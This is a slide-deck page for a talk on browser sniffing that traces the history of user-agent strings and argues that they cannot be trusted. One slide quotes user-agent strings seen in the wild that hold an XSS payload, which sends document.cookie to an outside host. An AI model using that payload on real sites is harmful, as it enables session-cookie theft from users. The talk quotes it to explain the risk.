Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Everybody Lies @ Halfstack

Niels Leenheer
November 18, 2016
Technology
4
260

Everybody Lies @ Halfstack

This is a talk about browser sniffing. And yes, I do realise it is 2016. I know browser sniffing is ugly and we should all be using feature detection. But a quick search on Github still shows millions of lines of code referring to user agents strings. So this message clearly hasn’t landed yet. But why is browser sniffing a bad choice? This talk will dive into history and show the origin of the user agent string and the hidden battle between browser makers and web developers. It will show its simple beginnings and the horrible monstrosity it has become.

Niels Leenheer

November 18, 2016
Tweet

More Decks by Niels Leenheer

See All by Niels Leenheer
Fun with Bluetooth @ Frontend United
nielsleenheer
1
110
Fun with Bluetooth @ Amsterdam JSNation
nielsleenheer
1
160
Fun with Bluetooth @ JSConf Belgium
nielsleenheer
0
98
Fun with Bluetooth @ DevDays Vilnius
nielsleenheer
0
170
Fun with Bluetooth @ Universal JS Day
nielsleenheer
0
460
Fun with Bluetooth @ Amsterdam University of Applied Sciences
nielsleenheer
0
87
Fun with Bluetooth @ FrontendNE 2018
nielsleenheer
0
190
Fun with Bluetooth @ DevFestNL
nielsleenheer
0
160
Fun with Bluetooth @ Halfstack
nielsleenheer
0
120

Other Decks in Technology

See All in Technology
Fanstaの１年を大解剖！ 一人SREはどこまでできるのか！？
syossan27
2
160
オプトインカメラ：UWB測位を応用したオプトイン型のカメラ計測
matthewlujp
0
170
あの日俺達が夢見たサーバレスアーキテクチャ/the-serverless-architecture-we-dreamed-of
tomoki10
0
430
Amazon SageMaker Unified Studio（Preview）、Lakehouse と Amazon S3 Tables
ishikawa_satoru
0
150
podman_update_2024-12
orimanabu
1
260
第3回Snowflake女子会_LT登壇資料（合成データ）_Taro_CCCMK
tarotaro0129
0
180
PHP ユーザのための OpenTelemetry 入門 / phpcon2024-opentelemetry
shin1x1
1
160
KubeCon NA 2024 Recap / Running WebAssembly (Wasm) Workloads Side-by-Side with Container Workloads
z63d
1
240
マイクロサービスにおける容易なトランザクション管理に向けて
scalar
0
110
宇宙ベンチャーにおける最近の情シス取り組みについて
axelmizu
0
110
NilAway による静的解析で「10 億ドル」を節約する #kyotogo / Kyoto Go 56th
ytaka23
3
370
2024年にチャレンジしたことを振り返るぞ
mitchan
0
130

Featured

See All Featured
Measuring & Analyzing Core Web Vitals
bluesmoon
4
170
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
6.9k
Documentation Writing (for coders)
carmenintech
66
4.5k
Java REST API Framework Comparison - PWX 2021
mraible
PRO
28
8.3k
Site-Speed That Sticks
csswizardry
2
190
Optimising Largest Contentful Paint
csswizardry
33
3k
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
330
21k
Designing for Performance
lara
604
68k
Code Review Best Practice
trishagee
65
17k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
159
15k
A designer walks into a library…
pauljervisheath
204
24k
Building a Scalable Design System with Sketch
lauravandoore
460
33k

Transcript

  1. everybody lies Niels Leenheer halfstack, november 18th 2016 @html5test

  2. None
  3. None

  4. this talk is full of 
 lies and deception warning:

  5. None
  6. None
  7. None

  8. this talk is about browser sniffing yes…

  9. why?

  10. browser sniffing is 
 dirty

  11. you should use 
 feature detection

  12. None

  13. Dear Web Developers: 
 Browser Sniffing is Stupid http:/ /www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

  14. 5 Reasons Why 
 Browser Sniffing Stinks https:/ /www.sitepoint.com/why-browser-sniffing-stinks/

  15. Browser Detection is Bad https:/ /css-tricks.com/browser-detection-is-bad/

  16. None

  17. feature
 detection responsive
 design progressive
 enhancement best-practices

  18. anti-pattern browser sniffing

  19. browser sniffing is just a tool

  20. everybody uses 
 browser sniffing

  21. None

  22. is browser sniffing 
 actually? what…

  23. the http specification defines the user-agent header 
 
 it

    contains a string with information about the browser

  24. every request the browser makes to the server includes the

    user-agent header

  25. GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent:

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 


  26. GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent:

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 
 HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 
 <!doctype html> <html>

  27. you can access 
 the exact same string 
 using

    javascript

  28. <script type=“text/javascript">
 <!--
 
 alert(navigator.userAgent);
 
 //-->
 </script>


  29. you can use the user-agent string to identify:
 
 the

    browser
 the rendering engine
 the operating system
 the device model
 and more
  30. None

  31. is browser sniffing 
 good for? what…

  32. knowledge

  33. if you know the platform or browser, 
 you can

    streamline the user experience
  34. None

  35. if you know your users, 
 you can build a

    better site for them

  36. if you know which browser is being 
 used, you

    can work around bugs

  37. if you know which browser is causing errors, you can

    fix them

  38. privacy implications

  39. None
  40. None

  41. changing your user agent 
 string actually makes it 


    easier to track you

  42. anonymity by looking 
 like everybody else

  43. None
  44. None

  45. is browser sniffing 
 so difficult? why…

  46. things started out simple

  47. Mosaic/0.9 Mosaic

  48. Mozilla/1.0 (Win3.1) Netscape Navigator code name of 
 the browser

  49. but it quickly started 
 to get complicated

  50. Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer compatible with

    
 Netscape Navigator 1.0

  51. Opera/8.54 (Windows 95; U; en) Opera

  52. Opera/10.00 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Opera

  53. Opera/9.8 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Version/10.00 Opera

    real version of
 the browser

  54. Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en; rv:1.9.1) 


    Gecko/20090624 Firefox/3.5 Firefox build date of
 the rendering engine

  55. Mozilla/5.0 (Windows NT 6.0; rv:2.0) 
 Gecko/20100101 Firefox/4.0 Firefox build

    date is no 
 longer updated

  56. Mozilla/5.0 (Windows NT 6.0; rv:16.0) 
 Gecko/16.0 Firefox/16.0 Firefox

  57. and it gets worse…

  58. Mozilla/5.0 
 (Macintosh; U; PPC Mac OS X 10_4_11; en)


    AppleWebKit/525.27.1 (KHTML, like Gecko)
 Version/3.2.3 Safari/525.28.3 Safari

  59. Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en)
 AppleWebKit/525.27.1 (KHTML,

    like Gecko)
 Chrome/15.0.874.120 Safari/525.28.3 Chrome

  60. Mozilla/5.0 
 (Windows NT 10.0; WOW64) 
 AppleWebKit/537.36 (KHTML, like

    Gecko) 
 Chrome/44.0.2403.155 Safari/537.36 
 OPR/31.0.1889.180 Opera

  61. Mozilla/5.0 
 (Windows NT 6.3; Trident/7.0; rv:11.0) 
 like Gecko

    Internet Explorer

  62. Mozilla/5.0 (Windows NT 10.0)
 AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/42.0.2311.135 Safari/525.28.3

    
 Edge/12.10162 Edge

  63. and those were all relatively normal user-agent strings

  64. sometimes browsers simply do not make sense at all

  65. Mozilla/5.0 (Linux; Android 4.3; en; 
 SAMSUNG GT-I9505 Build/JSS15J) 


    AppleWebKit/537.36 (KHTML, like Gecko) 
 Version/1.5 Chrome/28.0.1500.94 
 Mobile Safari/537.36 Samsung Internet

  66. Mozilla/5.0 (Series40; NOKIALumia800; 
 Profile/MIDP-2.1 Configuration/CLDC-1.1) 
 Gecko/20100401 S40OviBrowser/1.8.0.50.5 Nokia

    Xpress for Windows Phone

  67. sometimes browsers lie to 
 hide their true identity

  68. Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera

  69. Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera

    Mobile (desktop mode) ROT 13 encrypted
 “mobi“

  70. Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet

    Explorer

  71. Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet

    Explorer (compatibility view) Trident 5 means it’s 
 Internet Explorer 9

  72. sometimes browsers 
 are just weird

  73. None

  74. Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; 
 MSIE

    6.0; MSIE 5.5; Windows NT 5.0) 
 Opera 7.02 Bork-edition [en] #1 #2
  75. None
  76. None

  77. BORK BORK BORK

  78. None
  79. None
  80. None

  81. and it is possible to change the user-agent string yourself

  82. <script>alert("My Little Pony");</script> <script language="JavaScript">document.location= 
 "http://www.max1094.18.lc/admin/cookies.php?c=" + 
 document.cookie;</script>

    <img src="http://bravo.trollab.org/mylittlepony.png" 
 alt="My Little Pony"> XSS attacks

  83. XSS attacks

  84. 
 (╯°□°）╯︵ ┻━┻
 
 Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)

    You’re site is funny people

  85. angry people

  86. FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) 
 FuckYou/123.0 FuckingFox/321.0
 
 Opera/9.80 (Windows

    NT 6.1; U; FuckYou; xx) 
 Presto/2.10.229 Version/11.62
 
 Seriously, Go fuck yourself
 
 W3C standards are important. 
 Stop fucking obsessing over user-agent already. angry people

  87. 1.000.000
 unique
 useragent strings 82 x fuck 10 x shit

    6 x ass 9 x dick 3 x vagina 108 x sex 4 x balls

  88. user-agent strings 
 cannot be trusted!

  89. everybody lies

  90. use browser sniffing for controlling access to 
 your website

    you should never

  91. you should never use browser sniffing for determining browser capabilities

  92. you should never build your own 
 browser sniffing library


  93. None

  94. use a browser sniffing library that 
 is regularly updated

    #1

  95. check if it is possible to automatically schedule updates #2

  96. None

  97. “If you tell a big enough lie 
 and tell

    it frequently enough, 
 it will be believed” — Ghandi

  98. “If you tell a big enough lie 
 and tell

    it frequently enough, 
 it will be believed” — Ghandi

  99. — Adolf Hitler “If you tell a big enough lie

    
 and tell it frequently enough, 
 it will be believed”

  100. thank you!

  101. thank you!